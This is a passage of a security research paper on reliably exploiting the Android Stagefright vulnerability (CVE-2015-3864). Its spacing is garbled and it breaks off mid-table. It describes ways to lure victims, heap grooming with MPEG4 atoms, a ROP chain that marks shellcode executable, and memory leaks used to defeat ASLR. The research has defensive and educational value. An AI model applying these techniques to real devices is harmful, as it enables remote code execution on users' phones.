Professional Documents
Culture Documents
A(real)reallifeStagefrightexploit
Researchedandimplementedby
NorthBit1.
WrittenbyHananBeer.
Revision1.1
Represent!
http://northbit.com/
Index
Overview
Stagefright
Metaphor
ResearchGoals
TheMPEG4FileFormat
TheBugCVE20153864
Exploitation
AttackVectors
RedirectingthevtabletotheHeap
HeapShaping
HeapSpraying
HeapGrooming
ROPChainGadgets
BreakingASLR
JavaScriptCapabilities
ReturningMetadata
ReturningMetadataAfterOverflow
BypassingProcessTermination
LeakingInformation
ASLRWeaknesses
DeviceFingerprinting
Findinglibc.so
PuttingItAllTogether
FinalRequirements
Summary
Bonus
ImprovingHeapSprayEffectiveness
ImprovingExploitationTimes
ResearchSuggestions
Credits
References
Overview
Inthispaper,wepresentourresearchonproperlyexploitingoneofAndroidsmostnotorious
vulnerabilitiesStagefrightafeatpreviouslyconsideredincrediblydifficulttoreliablyperform.
Ourresearchislargelybasedon
exploit382262byGoogleandtheresearchblogpostin
Google
3
ProjectZero:Stagefrightened .
Thispaperpresentsourresearchresults,furtherdetailsthevulnerabilityslimitationsand
depictsawaytobypassASLRaswellasfutureresearchsuggestions.
TheteamhereatNorthBithasbuiltaworkingexploitaffectingAndroidversions2.24.0and
5.05.1,whilebypassingASLRonversions5.05.1(asAndroidversions2.24.0donot
implementASLR).
Stagefright
th
StagefrightisanAndroidmultimedialibrary.Itdidntgetmuchattentionuntil
July27
2015,when
severalofitscriticalheapoverflowvulnerabilitieswerediscoveredanddisclosed.
Theoriginal
vulnerabilitywasfoundbyJoshuaDrakefromZimperium4
,affectingAndroidversions1.05.1.
Fromhereonweshallrefertothelibraryaslibstagefrightandtothebugitselfsimplyas
stagefright.
Althoughthebugexistsinmanyversions(nearlya1,000,000,000devices)itwasclaimed
impracticaltoexploitinthewild,mainlyduetotheimplementationofexploitmitigationsinnewer
Androidversions,specificallyASLR.
Metaphor
Metaphoristhenameofourstagefrightimplementation.Wepresentamorethoroughresearch
oflibstagefrightandnewtechniquesusedtobypassASLR.LiketheteamatGoogle,weexploit
CVE201538645asitismuchsimplertoimplementratherthanthevulnerabilityinJoshua
Drakesexploit,
CVE201515386 .
https://www.exploitdb.com/exploits/38226/
http://googleprojectzero.blogspot.co.il/2015/09/stagefrightened.html
4
JoshuaDrakespresentation:
https://www.blackhat.com/docs/us15/materials/us15DrakeStagefrightScaryCodeInTheHeartOfAndro
id.pdf
5
http://cve.mitre.org/cgibin/cvename.cgi?name=CVE20153864
6
https://cve.mitre.org/cgibin/cvename.cgi?name=CVE20151538
2
3
ResearchGoals
Thereasontokeepresearchingthislibraryisbecauseithasproventobeveryvulnerableinthe
past(multiplebugsandbadcode),affectsnumerousdevicesandhasmanygoodpotential
attackvectors:mms(stealthy),instantmessaging(automatic),webbrowser(minimaltonouser
interaction)andmore.
Weaimtoachieveamoregenericandpracticalexploitthanpreviouslypublishedwork,where
practicalmeans
fast
,
reliable
and
stealthy
ideallyusingexistingvulnerabilitiesonly.
InshortourgoalistobypassASLR.
TheMPEG4FileFormat
TounderstandthisvulnerabilityitisnecessarytounderstandtheMPEG4fileformat.Luckilyit
isquitesimple:itisacollectionofTLV(TypeLengthValue)chunks.Thisencodingmethod
meanstheresavaluecalled
type
specifyingthechunktype,a
length
valueofthedatalength
anda
chunk
valueofthedataitself.
InthecaseofMPEG4,theencodingisactually
length
first,then
typea
ndfinally
value.
The
followingpseudoCdescribestheMPEG4chunkformat:
struct
TLV
{
uint32_t
length;
char
atom
[
4
];
char
data
[
length
];
};
When
length
is0,datareachesuntiltheendoffile.The
atom
fieldisashortstring(alsocalled
FourCC7)thatdescribesthechunktype.
Typesthatrequiremoreinformationthan2^32bytesuseaslightlydifferentformat:
struct
TLV64
{
uint32_t
one
;
//specialconstant
length
char
atom
[
4
];
uint64_t
length64
;
//actual
length
char
data
[
length64
];
};
Thetypesareinatreestructurewherechildchunksresidewithinthedataoftheparentchunk.
Thefollowingisadiagramofhowamediafilemightlooklike:
https://en.wikipedia.org/wiki/FourCC
TheBugCVE20153864
Manyarticleshavebeenwrittenaboutthisverysamebug,soaquickoverviewwillsuffice.
Wereusing
Android5.1.0sourcecode8unlessstatedotherwise.
ThisspecificbuginlibstagefrightinvolvesparsingMPEG4files,ormorespecificallythe
tx3g
atomwhichisusedtoembedtimedtext(subtitles)intomedia.
First,letsseewhatthecodeismeanttodo.
MPEG4Extractor.cpp:1886
:
case
FOURCC
(
't'
,
'x'
,
'3'
,
'g'
):
{
uint32_t
type;
const
void
*
data;
size_t
size
=
0;
/*findprevioustimedtextdata*/
if
(!
mLastTrack
>
meta
>
findData(
kKeyTextFormatData
,
&
type
,
&
data
,
&
size
))
{
/*noprevioustimedtextdata*/
size
=
0;
}
/*allocateenoughmemoryforboththeoldbufferandthenewbuffer*/
uint8_t
*
buffer
=
new
(
std
::
nothrow
)
uint8_t
[
size
+
chunk_size
];
if
(
buffer
==
NULL
)
{
return
ERROR_MALFORMED;
}
/*iftherewasanyprevioustimedtextdata*/
if
(
size
>
0
)
{
/*copythedatatothebeginningofthebuffer*/
memcpy
(
buffer
,
data
,
size
);
}
/*append(orset)currenttimedtextdata*/
if
((
size_t
)(
mDataSource
>
readAt
(*
offset
,
buffer
+
size
,
chunk_size
))
<chunk_size){
/*errorreadingfromfileshouldn'thappenonvalidmedia*/
delete
[]
buffer;
buffer
=
NULL;
//advancereadpointersowedon'tendupreadingthisagain
*
offset
+=
chunk_size;
/*signalareaderroroccurred*/
8
http://androidxref.com/5.1.0_r1/xref/frameworks/av/media/libstagefright/MPEG4Extractor.cpp
return
ERROR_IO;
}
/*settimedtextdatatothenewbufferwillreplacetheoldone*/
mLastTrack
>
meta
>
setData(
kKeyTextFormatData
,
0
,
buffer
,
size
+
chunk_size
);
delete
[]
buffer;
/*eachchunkhandlesadvancingoffset*/
*
offset
+=
chunk_size;
break;
}
Quitesimplethiscodecollectsalltimedtextchunksandappendsthemintoonesinglelong
buffer.
Both
size
and
chunk_size
areuncheckedandinourcontrol,allowingustocauseaninteger
overflowhere:
MPEG4Extractor.cpp:1896
:
uint8_t
*
buffer
=
new
(
std
::
nothrow
)
uint8_t
[
size
+
chunk_size
];
Toachieveaheapoverflowweneedtohaveatleastonelegit
tx3g
chunk,bothfortheinteger
overflowpartandforthiscondition:
MPEG4Extractor.cpp:1901
:
/*iftherewasanyprevioustimedtextdata*/
if
(
size
>
0
)
{
/*copythedatatothebeginningofthebuffer*/
memcpy
(
buffer
,
data
,
size
);
}
whichwillresultin
size
bytesfrom
data
tobewritteninto
buffer
regardlessof
buffer
sactual
allocatedsize.
Bycarefullyshapingtheheapwecan:
Control
size
howmuchtowrite
Control
data
whattowrite
Predictwhereourobjectwillbeallocated
Allocatedsize(
size+chunk_size)
isinourcontrol
Androidusesjemallocasitsheapallocator(whichwecoverlaterinthispaper)
Consideringthis,itseemsexploitationshouldbeprettysimplewevegotaheapoverflowwith
sizeanddatainourcontrol.Unfortunatelytherearemanylimitations,whichcomplicate
exploitationsignificantly.
Exploitation
Inthissectionwewilldescribehowourexploitworks,itslimitationsandthediscoveriesthat
madeexploitationpossible.
AttackVectors
Thevulnerabilityisinmedia
parsing
,whichmeansthatthevictimsdevicedoesntevenneedto
playthemediajustparseit.Parsingisdoneinordertoretrievemetadatasuchasvideolength,
artistname,title,subtitles,comments,etc.
OurfinalattackvectorisviathewebbrowseraswerequireexecutingJavaScript,whichhasits
strengthsandlimitations.Methodstolurevictimsintoourmaliciouswebpagemayinclude:
Attackwebsite
Couldbedisguisedwatchthe
<latestmovie>
fullHDonline
Hackedwebsite
Couldlooklegitwithhiddencontent(iframes,invisibletags...)
XSS
Trustedwebsitewithmaliciouscontent
Ads9
Onlyin
<script>
or
<iframe>
tags
Driveby
FreeWiFi
Automaticallypopupwebbrowserwithmaliciouscontentusingacaptive
portal10
ManintheMiddleinjectmaliciousnetworktraffic
QRcodeonbusstationsofferinggameswhilewaitingforthebus
Someoftheattackvectorsthatwillnotworkwithourmethodinclude:
Web
Ads
Legitimate(ornot)adsasvulnerablemedia
Blogorforumpost
Embeddedmedia
MMSautomaticallyfetchedandparsed
DisabledonAndroid5.1+
InstantMessaging
WhatsApp,Telegram,Viber,Skype,FacebookMessenger,etc.
Datingapps
Vulnerablemediainattackersprofile
requiresexecutingJavaScript
https://en.wikipedia.org/wiki/Captive_portal
10
Thevictimalsohastolingerforatimeintheattackwebpage.Socialengineeringmayincrease
effectivenessofthisvulnerabilityoranymethodtoattackthevictimregularly,suchas
changingthehomepage.
RedirectingthevtabletotheHeap
Letsreviewthevulnerablepieceofcodeonceagain:
MPEG4Extractor.cpp:1901
:
if
(
size
>
0
)
{
/*ouroverflowwilloccurhere*/
memcpy
(
buffer
,
data
,
size
);
}
/*virtualtablecall,partialcontrolofparameters*/
if
((
size_t
)(
mDataSource
>
readAt
(*
offset
,
buffer
+
size
,
chunk_size
))
<chunk_size){
/*cannotavoidenteringthisblock*/
delete
[]
buffer;
buffer
=
NULL;
//advancereadpointersowedon'tendupreadingthisagain
*
offset
+=
chunk_size;
/*thisisprettymuchtheendoftheroadforus*/
return
ERROR_IO;
}
Thesimplestwaytoexploitthiswouldbetoshapetheheapsothatthe
mDataSourceo
bjectis
allocatedrightafterouroverflowedbufferandthen(usingthebug)overwrite
mDataSource
s
virtualtabletoourownandsettherespective
readAt
entrytopointtoourownmemory.Thisis
how
exploit38226
wasimplemented.
Givesusfullcontrolofthevirtualtable
Redirectinganymethodtoanycodeaddress
Requiresknowingorguessingourfaketablesaddress
Predictableasshownby
GoogleProjectZero:Stagefrightened
Requiresknowinglibc.sofunctionaddressesforROPchaingadgets
i.e.breakingASLR!
HeapShaping
TounderstandMetaphorbetterandhowASLRisbypasseditisimportanttounderstandhow
Androidsheapallocatorworksjemalloc11 .
11
jemallocimplementationdetails:
https://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf
Fornowallyouneedtoknowisthatjemallocallocatesobjectsofsimilarsizesinthesame
run.
A
run
isbasicallyanarrayofbuffersofthesamesizecalled
regions.
Objectssizesslightly
smallerthantherespectiveregionsfixedsizewillberoundedup.
Thefollowingdiagram,borrowedfromagreat
jemallocpaper12,illustratesthiswell:
jemallocpaperfromanhackerspointofview,byPatroklosArgyroudisandCharitonKaramitas:
https://media.blackhat.com/bhus12/Briefings/Argyoudis/BH_US_12_Argyroudis_Exploiting_the_%20jemall
oc_Memory_%20Allocator_WP.pdf
12
HeapSpraying
Heapsprayingisdoneusingthe
psshatom.
Whentheparserencountersa
pssh
chunk,it
allocatesabufferandappendsittoalistofbuffers:
MPEG4Extractor.cpp:1123
:
pssh
.
data
=
new
(
std
::
nothrow
)
uint8_t
[
pssh
.
datalen
];
if
(
pssh
.
data
==
NULL
)
{
return
ERROR_MALFORMED;
}
ALOGV
(
"allocatedpssh@%p"
,
pssh
.
data
);
ssize_t
requested
=
(
ssize_t
)
pssh
.
datalen;
if
(
mDataSource
>
readAt
(
data_offset
+
24
,
pssh
.
data
,
requested
)
<
requested
)
{
return
ERROR_IO;
}
mPssh
.
push_back
(
pssh
);
Wecontrolitssizeandwecanprovideverylargevalues.Itslimitationisthatthemediafilehas
toincludedataofthatsizebutweshallseelaterhowtoovercomethislimitation.
HeapGrooming
Heapgroomingisdifferentthansimplysprayingtheheapbyallocatingmanyobjects.By
controllingtheorderofallocationsanddeallocations,wecandesigntheorderofheapobjectsin
apredictablefashion.In
exploit38226
thisisdoneusing
avcC
and
hvcC
chunks:
MPEG4Extractor.cpp:1619
:
case
FOURCC
(
'a'
,
'v'
,
'c'
,
'C'
):
*
offset
+=
chunk_size
;
sp
<
ABuffer
>
buffer
new
ABuffer
(
chunk_data_size
);
if
(
mDataSource
>
readAt
(
data_offset
,
buffer
>
data
(),
chunk_data_size
)
<
chunk_data_size
)
return
ERROR_IO
;
mLastTrack
>
meta
>
setData
(
kKeyAVCC
,
kTypeAVCC
,
buffer
>
data
(),
chunk_data_size
);
break
;
}
(The
hvcC
isvirtuallyidentical)
Theparserallocatesabufferofcontrolledsizeandthenpassesitto
MetaData::setData
.
The
MetaData::setData
methodthencopiesthedataintoanewbufferandthendeletesthe
previousentrywhosesizeisalsoinourcontrol.
Thismethodwasinconsistentbetweendifferentdevices,perhapsduetodifferentjemalloc
configurationsandthetwoallocationsofthesamesizeonetemporarybufferin
MPEG4Extractor::
parse3GPPMetaData
andanotherfortheinternal
MetaData
object.
AmoregenericmethodforheapgroomingistousetheMPEG4atoms
titl
,
pref
,
auth
and
gnre
.
Theseareparsedinside
MPEG4Extractor::parse3GPPMetaData:
MPEG4Extractor.cpp:2419
:
case
FOURCC
(
't'
,
'i'
,
't'
,
'l'
):
{
metadataKey
=
kKeyTitle;
break;
}
case
FOURCC
(
'p'
,
'e'
,
'r'
,
'f'
):
{
metadataKey
=
kKeyArtist;
break;
}
case
FOURCC
(
'a'
,
'u'
,
't'
,
'h'
):
{
metadataKey
=
kKeyWriter;
break;
}
case
FOURCC
(
'g'
,
'n'
,
'r'
,
'e'
):
{
metadataKey
=
kKeyGenre;
break;
}
mFileMetaData
>
setCString
(
metadataKey
,
(
const
char
*)
buffer
+
6
);
The
MetaData::setCString
methodcopiesanullterminatedstringstartingfrombuffer+6:
MetaData.cpp:60
:
bool
MetaData
::
setCString
(
uint32_t
key
,
const
char
*
value
)
{
return
setData
(
key
,
TYPE_C_STRING
,
value
,
strlen
(
value
)
1
);
}
Wecontrolthetemporarybuffersizewith
chunk_size
andtheactualcopiedbufferwiththe
positionofanullbyte,enablingustoallocatethetemporaryobjectinadifferentrunandgiving
usgreaterflexibilityinexploitation.
Notethatonceweaddanalreadyexistingentryto
MetaData
,itreplacestheoldentry.The
aforementionedMPEG4atomsprovideusfouridenticalprimitivestocontroltheheap.
Inordertooverwrite
mDataSource
,weneedtomoveitfurtherdowntheheaptoalocationfor
whichwecanpredicttheheapsorder.Thisisdoneasin
exploit38226
,usingthe
stbl
atomthat
reallocates
mDataSource
:
MPEG4Extractor.cpp:867
:
if
(
chunk_type
==
FOURCC
(
's'
,
't'
,
'b'
,
'l'
))
{
ALOGV
(
"sampleTablechunkis%"
PRIu64
"byteslong."
,
chunk_size
);
if
(
mDataSource
>
flags
()
&
(
DataSource
::
kWantsPrefetching
DataSource
::
kIsCachingDataSource
))
{
sp
<
MPEG4DataSource
>
cachedSource=
new
MPEG4DataSource
(
mDataSource
);
if
(
cachedSource
>
setCachedRange
(*
offset
,
chunk_size
)
==
OK
)
{
mDataSource
=
cachedSource;
}
}
mLastTrack
>
sampleTable
=
new
SampleTable
(
mDataSource
);
}
Notethatthe
stbl
atomallocatesanew
MPEG4DataSource
sinceourattackvectorisviathe
webbrowser,
mDataSource
isoftype
NuCachedSource2a
nd
NuCachedSource2::flags
is:
NuCachedSource2.cpp:288
:
return
(
flags
|
kIsCachingDataSource
);
ThefollowingdiagramillustratestheprocessofgroomingtheheaptooverflowmDataSource:
The
pssh
atomsareusedtospraytheheapsuchthatnewheaprunswithpredictableorderare
used.Thenthe
titl
and
gnre
atomsareusedasplaceholdersfirst
titl
andthen
gnre
are
allocated,
gnre
isdeallocatedandthenweallocatean
MPEG4DataSource
usingthe
stbl
atom.
Whenwedeallocate
titl
thatblockisfreedthusthenextallocation,the
tx3g
atom,willtakeits
place.
ROPChainGadgets
SlightchangestotheROPchainpresentedinGoogles
exploit38226
weremade.
Forexample,
mmap
and
memcpy
wereusedtoallocatetheshellcodewheninfactthereis
alreadyabufferwhoseaddressisknown:
#addressofthebufferweallocateforourshellcode
mmap_address
=
0x90000000
Wecansimplyreplacethesetwogadgetswith
mprotect
.
(Notethatthisaddressmaynotbethesameforalldevices)
Complexgadgetswereusedtopoptoomanyunneededparametersfromthestackandthus
complicatingtheROPchain.Instead,wesimplyusepop{pc}andpop{r0,r1,r2,pc}
instructionsonly.
Thesamestackpivotgadgetisused,asshownin
GoogleProjectZero:Stagefrightened
:
R2
,
R0
,
#0x4C
R2
,
{
R4
,
R5
,
R6
,
R7
,
R8
,
R9
,
R10
,
R11
,
R12
,
SP
,
LR}
SP
,
#0
LR
,
#0
botch_0
;
wewon
'
ttake
this
branch
,
as
wecontrollr
R0
,
R1
R0
,
#0
R0
,
#1
LR
ADD
LDMIA
TEQ
TEQNE
BEQ
MOV
TEQ
MOVEQ
BX
Thiswillloadmostoftheregisters,includingthestackpointer,fromanoffsetonr0,which
pointstodatawecontrol.AtthispointitsthentrivialtocompletetheexploitwithaROPchainto
allocatesomeRWXmemory,copyinshellcodeandjumptoitusingonlyfunctionsandgadgets
fromwithinlibc.so.(GoogleProjectZero)
Thesearethefouraddressesneededtoknowforourremotecodeexecutionexploit:
1.Callvoidfunction:
pop
{
pc}
2.Callfunctionwithupto3parameters:
pop
{
r0
,
r1
,
r2
,
pc}
3.Replacestackandcallshellcode:
add
ldm
bx
r2
,
r0
,
#76
;0x4c
r2
,
{
r4
,
r5
,
r6
,
r7
,
r8
,
r9
,
r10
,
r11
,
r12
,
sp
,
lr}
lr
4.Andmprotect,usedtomarkaregionasexecutableandreturn:
bx
lr
Wealreadyknowtheexactsizeof
mDataSource
whichisoftype
MPEG4DataSource
atthe
timeoftheoverflow:
(
gdb
)
p
/
x
sizeof
(
android
::
MPEG4DataSource)
$2
=
0x20
andasshowninIDA,readAtsoffsetinthevtableis7:
readAt
soffsetinbytesis:
sizeof
(
void
*)
0x1c
Inalldevicestested,boththesizeof
MPEG4DataSource
andtheoffsetof
readAt
remainedthe
same.
ThefinalROPchainlookslikethisonthestack,showingwhichregistercopiesthatentry:
pc=stackpivotgadget
pc=pop
{
r0
,
r1
,
r2
,
pc}gadget
r0
=
shellcodepagealignedaddress
r1
=
size(ofshellcode)
r2
=
protection(7=RWX)
pc
=
mprotectaddress
pc=pop
{
r0
,
r1
,
r2
,
pc}gadget
r0
=
shellcodeparam1
r1
=
shellcodeparam2
r2
=
shellcodeparam3
pc
=
shellcodeaddress
Therestofthecodeexecutionexploitissimilarto
exploit38226
.
BreakingASLR
BreakingASLRrequiressomeinformationaboutthedevice,asdifferentdevicesuseslightly
differentconfigurationswhichmaychangesomeoffsetsorpredictableaddresseslocations.
Usingthesamevulnerability,itispossibletogainarbitrarypointerreadtoleakbacktotheweb
browserandgatherinformationinordertobreaktheASLR.
However,ourabilitytoreadmemoryisverylimited,astherearemanylimitationsforthis
vulnerability.
JavaScriptCapabilities
Sinceweareattackingviathewebbrowser,weassumewecanexecuteJavaScript.
MetadataencodedinsidethemediafilecanbeaccessedthroughJavaScriptusingcertain
<video>tagproperties,suchas
videoWidth,
videoHeighta
nd
duration.
Wecanusetheheapoverflowvulnerabilitytooverwriteapointertothismetadatatoarbitrary
memorylocationssothatarbitrarymemorycanbesentbacktothebrowserandthenbecome
accessiblebyJavaScript.
ReturningMetadata
Allmetadataisstoredwithinthe
MetaData
class.Themediahasitsownmetadatacalled
mFileMetaData
:
MPEG4Extractor.h:98
:
sp
<
MetaData
>
mFileMetaData
;
Andeach
Track
hasitsown
meta
field:
MPEG4Extractor.h:75
:
struct
Track
{
sp
<
MetaData
>
meta;
};
Themetadatawillonlybereturnedtothebrowserif
mInitChecki
ssettoOK:
MPEG4Extractor.cpp:396
:
sp
<
MetaData
>
MPEG4Extractor
::
getMetaData
()
{
status_t
err;
/*ReturnsemptymetadataifresultisnotOK*/
if
((
err
=
readMetaData
())
!=
OK
)
{
return
new
MetaData;
}
return
mFileMetaData;
}
and
mInitCheck
isonlybeingsetwhenparsingthe
moov
atom:
MPEG4Extractor.cpp:940
:
else
if
(
chunk_type
==
FOURCC
(
'm'
,
'o'
,
'o'
,
'v'
))
{
/*Thisbasicallymeansatleastsomemetadataexists*/
mInitCheck
=
OK;
if
(!
mIsDrm
)
{
return
UNKNOWN_ERROR
;
//Returnadummyerror.
else
{
return
OK;
}
}
Includinga
moov
chunkearlyenoughinthemediafileguaranteesthatmetadataissentback
tothewebbrowser.
Note:thisdoesnotworkonAndroidversions4.4.4andbelow.Thecodefortheseversions
seemstoonlyacceptamoovchunkthatcontainstheentireremainderofthefile.Otherwise,
14
oncethe
moov
chunkendsthen
UNKNOWN_ERROR
isreturnedasthereisno
DRM13,
contentandboththeMPEG4atoms
sidx
and
moof
terminatesparsing:
MPEG4Extractor.cpp:470
:(Androidversion4.4.4)
status_t
MPEG4Extractor
::
readMetaData
()
{
while
(
true
)
{
err
=
parseChunk
(&
offset
,
0
);
if
(
err
==
OK
)
{
continue;
}
uint32_t
hdr
[
2
];
if
(
mDataSource
>
readAt
(
offset
,
hdr
,
8
)
<
8
)
{
break;
}
uint32_t
chunk_type
=
ntohl
(
hdr
[
1
]);
if
(
chunk_type
==
FOURCC
(
's'
,
'i'
,
'd'
,
'x'
))
{
//parsethesidxboxtoo
/*continueforjustonelastrunandreturnsUNKNOWN_ERROR*/
continue;
else
if
(
chunk_type
==
FOURCC
(
'm'
,
'o'
,
'o'
,
'f'
))
{
//storetheoffsetofthefirstsegment
mMoofOffset
=
offset;
}
break;
SothismethodisonlyapplicabletoAndroidversions5.05.1.
13
14
https://en.wikipedia.org/wiki/Digital_rights_management
itisworthtonotethatDRMwasnotlookedintoenoughduringthisresearch
ReturningMetadataAfterOverflow
Unfortunately,wecannotreusethesamemediafiletoexecutemultipleoverflow
Wecannotavoidreturning
ERROR_IO
from
MPEG4Extractor::parseChunk
aftertriggeringthe
tx3g
bug:
MPEG4Extractor.cpp:1905
:
if
((
size_t
)(
mDataSource
>
readAt
(*
offset
,
buffer
+
size
,
chunk_size
))
<chunk_size){
delete
[]
buffer;
buffer
=
NULL;
//advancereadpointersowedon'tendupreadingthisagain
*
offset
+=
chunk_size;
return
ERROR_IO;
}
Thereturnvalueisconvertedto
size_t
(32bit)andcomparedto
chunk_size
(64bit)whichis
muchgreaterthan2^32inordertoachieveintegeroverflow.
The
MPEG4Extractor::parseChunk
methodacceptsachunk
offset
andchunk
depth.
This
methodparsesthechunkandhandlesadvancing
offset.
MPEG4Extractor.cpp:762
:
status_t
MPEG4Extractor
::
parseChunk
(
off64_t
*
offset
,
int
depth
)
{
ForcertainMPEG4atoms,itwillalsoparseinnerchunksrecursively.Ifparsingwas
successful,
offset
willadvancetotheendofthechunk.
Aftercausinganoverflowwithverylargevalues,wereturnherefrom
tx3g
parsing:
MPEG4Extractor.cpp:906
:
/*insidetheparseChunkmethod*/
while
(*
offset
<
stop_offset
)
{
/*recursivecalltoparseChunk*/
status_t
err
=
parseChunk
(
offset
,
depth
+
1
);
/*ifERROR_IOisreturnedtherecursionwillexit*/
if
(
err
!=
OK
)
{
return
err;
}
}
whichinturnbringsusto:
MPEG4Extractor.cpp:484
:
status_t
MPEG4Extractor
::
readMetaData
()
{
while
(
true
)
{
off64_t
orig_offset
=
offset;
err
=
parseChunk
(&
offset
,
0
);
/*ifERROR_IOreturnedstopparsingchunksbyexitingtheloop*/
if
(
err
!=
OK
&&
err
!=
UNKNOWN_ERROR
)
{
break;
}
return
mInitCheck;
}
Soif
ERROR_IO
isreturnedthenallparsingisstopped:
MPEG4Extractor.cpp:484
:
status_t
MPEG4Extractor
::
readMetaData
()
{
while
(
true
)
{
off64_t
orig_offset
=
offset;
err
=
parseChunk
(&
offset
,
0
);
if
(
err
!=
OK
&&
err
!=
UNKNOWN_ERROR
)
{
break;
}
}
/*mInitCheckmustbeOKforthemetadatatoreturn*/
return
mInitCheck;
}
meaningwecannotreusethesamemediafiletoexecutemultipleoverflows.
BypassingProcessTermination
W
henusingHTTPtostreamvideos,
mDataSource
willbeoftype
NuCachedSource2.
Themethod
NuCachedSource2::readAt
,pointedbymDataSource>readAt,triggersacallto
NuCachedSource2::readInternal
whichwillterminatemediaserverif
size
isreallylarge:
NuCachedSource2:579
:
ssize_t
NuCachedSource2
::
readInternal
(
off64_t
offset
,
void
*
data
,
size_t
size
)
{
CHECK_LE
(
size
,
(
size_t
)
mHighwaterThresholdBytes
);
CHECK_LE
willterminatetheprocessonfailure,andsinceitisinverylargeinordertoexploit,
thecheckin
NuCachedSource2::readInternal
willalwaysfailonceweattempttoexploitthebug.
Toavoidprocesstermination,weneedtobypassthecallto
NuCachedSource2::readInternal.
ByloadingmediafromJavaScriptusing
XMLHttpRequest
with
responseType=blob,
the
browsercachesthevideointhefilesystem.UsingURL.createObjectURL,wecanreferencethat
cachedfilelikethis:
<html>
<body
onload
=
"
load_video
();
">
<video
id
=
"vid_container"
controls
autoplay
/>
<script>
function
load_video
()
{
var
xhr
=
new
XMLHttpRequest;
xhr
.
responseType
=
'blob';
xhr
.
onreadystatechange
=
function
()
{
/*DownloadiscompletewhenreadyStateis4*/
if
(
xhr
.
readyState
==
4)
{
/*GetaURLtoreferencethatblobobject*/
var
url
=
URL
.
createObjectURL
(
xhr
.
response
);
var
media
=
document
.
getElementById
(
'vid_container'
);
/*Loadmediafromthatcachedobject*/
media
.
src
=
url;
alert
(
url
);
}
};
xhr
.
open
(
'GET'
,
'test.mp4'
,
true
);
xhr
.
send
();
}
</script>
</body>
</html>
The
URL.createObjectURL
functioncreatesaURLtoreferencethechunkofdatain
xhr.response
.
HeresanexampleofanobjectURL:
blob
:
http
:
//metaphor/107e0bf5df274bb8b55206271dde7b1c
WhenChrometriestoaccess
blob
URLs,itactuallyaccessesthemasalocalresource.We
canseethefileinChromescache:(lsashowshiddenfiles)
root@metaphor:/#lsa/data/data/com.android.chrome/cache
.com.google.Chrome.elLxlx
Cache
CrashReports
MediaCache
com.android.opengl.shaders_cache
andindeedmediaserverhasanopenfiledescriptorpointingthere:(lslfollowslinks)
root@metaphor:/#lsl/proc/`pidofmediaserver`/fd
0>/dev/null
1>/dev/null
21>/data/data/com.android.chrome/cache/.com.google.Chrome.elLxlx
SincethisURLpointstothefilesystem,mediaserversetsthedatasource(
mDataSource
inour
case)toanobjectofthe
FileSource
classinsteadofthe
NuCachedSource2
class.
Thedifferencebetweentheseclassesisthat
NuCachedSource2
handlesHTTPstreamingand
cachingofonlinemediawhile
FileSource
canperformseekandreadoperationsonlocalfiles.
The
FileSource::readAt
methoddoesnotuseany
CHECK_xx
macroswhichmeanswe
bypasstheprocessterminationproblem!
LeakingInformation
Asmentionedbefore,mediaserverparsesandsendsmetadatafromwithinthemediafileback
tothewebbrowser.Themetadataisstoredinside
MetaData
objects,thatstorealldataintheir
mItems
fields,whichareessentiallyadictionaryofFourCC(4characterscode)keysto
MetaData::typed_data
values:
MetaData.h:279
:
KeyedVector
<
uint32_t
,
typed_data
>
mItems;
And
typed_data
isdeclaredinthesamefile:
MetaData.h:238
:
struct
typed_data{
uint32_t
mType;
size_t
mSize;
union
{
void
*
ext_data;
float
reservoir;
}
u;
}
If
mSize
islargerthan4,
ext_dataw
illpointtomemorywherethedataisheld.Otherwise,
reservoir
willcontainthedata.Notethatthisisaunion,meaning
ext_data
and
reservoir
both
sharethesameaddress.
KeyedVector
objectsstoredataintheir
mStoragef
ield(inheritedby
VectorImpl
class):
VectorImpl.h:125
:
void
*
mStorage
;
//baseaddressofthevector
ThecontentsofmStorageisanarrayofkeysand
MetaData::typed_data
elements.Hereishow
itlookslikeinGDB:
Breakpoint
4
,
android
::
MetaData
::
setInt64
(
this
=
0xb460b080
,
key
=
key@entry
=
1685418593
,
value
=
362
)
atframeworks
/
av
/
media
/
libstagefright
/
MetaData
.
cpp
:
68
(
gdb
)
x
/
16wx
$r0
0xb48101e0
:
0xb65c8df0
0xb480f300
0xb65c8dc0
0xb4818110
0xb48101f0
:
0x00000004
0x00000000
0x00000010
0x00000000
0xb4810200
:
0x6c707061
0x74616369
0x2f6e6f69
0x6574636f
0xb4810210
:
0x74732d74
0x6d616572
0x00000000
0x00000000
(
gdb
)
x
/
16wx
*($r0+0x0c)
0xb4818110
:
0x64486774
0x696e3332
0x00000004
0x000000cc
0xb4818120
:
0x64576964
0x696e3332
0x00000004
0x000001e0
0xb4818130
:
0x6d696d65
0x63737472
0x00000019
0xb4810200
0xb4818140
:
0x74724944
0x696e3332
0x00000004
0x00000001
Fromtheexampleabove:
0xb4818130
:
0x6d696d65
mime
0x63737472
cstr
0x00000019
25bytes
0xb4810200
application/octetstream
Byoverwritingthecontentsofthe
mStorage
arrayitself,wecanoverwritemetadatapointersto
pointtoarbitrarylocationsinmemory,thusleakinginformationbacktothewebbrowser!
Notethatanysizelargerthan4isapointer,butwealsocontrolthesizeweavoidusing
pointersforunusedorunneededmetadatafieldsbysettingtheirsizesto4orless.Evenforthe
mandatorymimetypefield,wecansimplysetittoanullterminatedstringofsize4orless.
Because
mSize
mustbegreaterthan4,wecanonlyachieveamemoryleakthroughthe
duration
fieldwhichis8byteslongandthusalsoapointer.Thesizesof
videoWidth
and
videoHeight
fieldsareonly4bytesandhencecannotbeusedtoleakmemory.Settingssizes
largerthan4forthesefieldswillcausetheprocesstoterminate.
KeyedVector<key,value>
storesitsdatausing
SortedVector<k
ey_value_pair_t<
key,value>>.
Whenanewvalueisaddedtoa
KeyedVector,
thevalueisinsertedtothesortedvectorsuch
thattheorderofelementsremainssortedbykey.
Heresanotherexampleofraw
KeyedVector
datafromametadatarichmediafile,showinghow
itissortedbykey:
ADDRESS
KEY
TYPE
SIZE
VALUE
0xb4409610
:
0x61766363
0x61766363
0x00000027
0xb4420038
0xb4409620
:
0x64486774
0x696e3332
0x00000004
0x000000cc
0xb4409630
:
0x64576964
0x696e3332
0x00000004
0x000001e0
0xb4409640
:
0x64757261
0x696e3634
0x00000008
0xb284b070
0xb4409650
:
0x66726d52
0x696e3332
0x00000004
0x00000018
0xb4409660
:
0x68656967
0x696e3332
0x00000004
0x000000cc
0xb4409670
:
0x696e7053
0x696e3332
0x00000004
0x0000efa5
0xb4409680
:
0x6c616e67
0x63737472
0x00000004
0x00646e75
0xb4409690
:
0x6d696d65
